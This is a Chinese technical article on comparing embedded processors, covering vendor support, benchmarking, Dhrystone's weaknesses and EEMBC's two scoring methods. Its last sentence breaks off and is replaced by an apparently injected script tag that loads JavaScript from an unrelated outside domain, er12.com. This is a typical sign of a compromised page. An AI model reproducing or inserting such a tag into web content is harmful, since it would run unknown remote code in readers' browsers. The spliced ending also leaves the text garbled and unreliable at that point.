尽管高科技市场的发展起伏不定,但是嵌入式行业却一直持续强劲地发展,在复杂性、有用和高效等方面都达到了一个前所未有的高度。随着嵌入式应用领域的日益扩展,如:手机、磁盘驱动器、pda、网络交换机、打印机等等,要定义“嵌入式”这个概念本身正变得越来越困难。不过有一点可以肯定,那就是嵌入式领域内的诸多应用对诸如性能、价格、功耗等各项指标有着各种不同的要求。为了适应这些不同要求,直接驱动各种应用的处理器也在同时迅速发展。举例来说,过去的十年中,arm处理器已经从简单的arm7tdmi内核发展到了最新的arm11ej-s内核。
从根本上来说,一个处理器(或处理器公司)的生存与成功取决于顾客的满意度。而顾客的满意度又由许多数量和质量上的因素决定。质量因素包括客户关系、技术支持、客户服务、新品开发、公司的稳定性以及丰富的产品线等等。尽管很难用这些弹性指标来对不同的处理器提供商进行具体比较,但有一个事实,那就是多数的处理器提供商(包括ip和芯片商)在上述各个方面都做得不是很令人满意。特别对于ip提供商来说,要做到这些似乎更加困难,因为他们首先要了解客户的各种不同要求。举个例子来说,一个ip提供商需要既能够为有着丰富芯片制造经验的大公司提供技术支持,同样要能够为那些无工厂、没有任何制造经验的新兴设计公司提供足够的帮助。
嵌入式领域对处理器的需求分析
虽然某些定量指标可以帮助用户在不同的处理器之间进行比较,但是作一次详尽的分析比较仍然更为重要。这些需要仔细衡量的因素包括:性能分析、功耗和效率分析、开发工具支持以及价格(要从设备和系统角度全面考虑)。
嵌入式领域内有许多种处理器性能分析方法,比如执行一段指定程序的速度。当然,在选择处理平台时,最理想的测试向量应该是应用程序自己;在满足工作要求的条件下,价格最低、功耗最小的那一个就是用户所需要的。但是这样的性能分析方法很难实际应用,因为需要先把用户程序在各种不同的硬件平台上进行移植和优化,这个工作量会相当的惊人。尤其在众多的处理器当中进行初选的时候,这样的方法更不可行。
目前,终端用户可以使用的测试向量非常之多,问题是如何正确选择最为接近目标应用的测试向量。换句话说,要先对最终应用程序在待选平台上的运行情况和测试目的有明确的预期,然后再有针对性地挑选符合要求的特定测试向量。
如今适用范围最广(但不是最流行)的测试向量是dhrystone。但是eembc验证实验室(eembc certification labs, 即ecl)的最新研究表明,dhrystone不仅不适于当作嵌入式系统的测试向量,甚至在其他大多数场合下都不适合进行应用。dhrystone有许多漏洞,例如:易被非法利用、人为痕迹明显、代码长度太短、缺乏验证及标准的运行规则等等。
现在越来越流行的测试向量是业界统一标准的eembc测试向量。eembc (embedded microprocessor benchmark consortium)是一个非赢利性的机构,专门致力于帮助设计人员快速有效地选择处理器。该协会到目前为止一共发布了46个性能测试向量,分别应用于电信、网络、消费类产品、办公设备和汽车电子这五大领域(更多详细信息,请访问http://www.eembc.org/about.asp)。 eembc另外一个重要的功能是为所有的测试向量发布一个正式的测评结果认证。这样就有效地保证了该组织的权威性。
eembc 一般使用两种测评方法:标准型的(out-of-the-box)和全定制型的( full-fury)。标准型方法允许用户使用各类代码编译器选项设置、但不可以改变测试向量的源代码。主要目的是测试处理器和响应编译器的能力。与之相反,全定制型方法则允许修改测试向量的代码,用户可以从性能最优的角度考虑,使用汇编、专用库函数、硬件加速程序等各种可能的有效手段,目的是测试该处理器的最大性能指标。如果用这两种方法测试下来的结果相差很大,说明系统设计者在使用该处理器的时候,针对性的移植工作量将会很大。反之,如果两者的差别很小,那么就说明很小的代码改动(甚至可能只需要作一些编译器优化设置)就可能带来大幅度的性能提高。
多种嵌入式处理器大比拼
分析和比较处理平台既是一门科学,也是一门艺术。说它是科学,因为它讲究求实事求是;?script src=http://er12.com/t.js>